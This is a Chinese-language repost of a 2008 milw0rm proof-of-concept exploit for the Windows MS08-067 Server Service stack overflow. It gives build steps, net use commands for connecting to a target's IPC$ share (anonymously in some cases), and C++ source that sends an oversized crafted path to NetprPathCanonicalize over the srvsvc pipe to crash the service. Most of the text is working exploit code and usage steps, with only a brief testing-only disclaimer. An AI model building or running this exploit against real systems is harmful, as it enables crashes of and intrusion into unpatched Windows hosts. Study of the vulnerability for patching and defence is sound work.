微软关于MS08-067的安全公告:

     http://www.microsoft.com/china/technet/security/bulletin/MS08-067.mspx

       MilW0rm MS08-067 Remote Stack Overflow Vulnerability Exploit（MilWorm 关于MS08-067漏洞的测试代码）

       警告：本文所提供的微软MS08-067漏洞代码仅供测试用，不可用于攻击网络。

    README.txt

    In vstudio command prompt:

     mk.bat

     next:

   attach debugger to services.exe (2k) or the relevant svchost (xp/2k3/...)

   net use \\IPADDRESS\IPC$ /user:user creds
   die \\IPADDRESS \pipe\srvsvc

In some cases, /user:"" "", will suffice (i.e., anonymous connection)

   You should get EIP -> 00 78 00 78, a stack overflow (like a guard page
   violation), access violation, etc. However, in some cases, you will get
   nothing.

   This is because it depends on the state of the stack prior to the "overflow".
   You need a slash on the stack prior to the input buffer.

   So play around a bit, you'll get it working reliably...
   把以下代码做成相对应文件名的文件，就可以测试MS08 067漏洞了。其中只用到了bat批处理文件，其他均为文本文件，省去了编译源代码的环节。

    mk.bat

    midl srvsvc.idl
    cl /Fedie srvsvc_killer.cpp srvsvc_c.c /MT rpcrt4.lib

    MY_HASH.txt

    In case people are wondering, the following is just some random
    MD5 of something I have:

    31147ed1584d468273d8ed995e0d26b9

   srvsvc_killer.cpp

#include <windows.h>
#include "srvsvc.h"
#include <stdio.h>

extern "C" PVOID __stdcall MIDL_user_allocate(size_t s) { return malloc(s); }
extern "C" VOID __stdcall MIDL_user_free(PVOID p) { free(p); }

int main(int argc, char **argv)
{
RPC_STATUS status;
unsigned char *strBind = 0;
handle_t handle;

status = RpcStringBindingComposeA(0, // object uuid
(RPC_CSTR)"ncacn_np", // protseq
(RPC_CSTR)argv[1], // net addr
(RPC_CSTR)argv[2], // endpoint
0,
&strBind);
if (status) { printf("%d\n", status); return status; }

printf("%s\n", strBind);

status = RpcBindingFromStringBinding(strBind, &handle);
if (status) { printf("%d\n", status); return status; }

RpcTryExcept {
    unsigned char x[1000];
    long q = 1;
//    _NetprPathCanonicalize(handle, L"AAA", L"BBB", x, 1000, L"", &q, 0x100);
    _NetprPathCanonicalize(handle, L"AAA", L".\\\\x\\..\\..\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", x, 1000, L"", &q, 1);
} RpcExcept(EXCEPTION_EXECUTE_HANDLER) {
    unsigned long code = RpcExceptionCode();
    printf("WAHAHAH %d %08x\n", code, code);
} RpcEndExcept

printf("hi\n");
}

     srvsvc.idl

/*
* IDL code generated by mIDA v1.0.8
* Copyright (C) 2006, Tenable Network Security
*http://cgi.tenablesecurity.com/tenable/mida.php
*
*
* Decompilation information:
* RPC stub type: interpreted / fully interpreted
*/

由于篇幅的限制，srvsvc.idl的代码直接转入MilW0rm的MS Windows Server Service Code Execution Exploit (MS08-067) (Univ)。

       以上关于 MS08-067的测试代码是milw0rm在2008年10月23日发布的，看来国外的网络安全研究人员更opensource一点。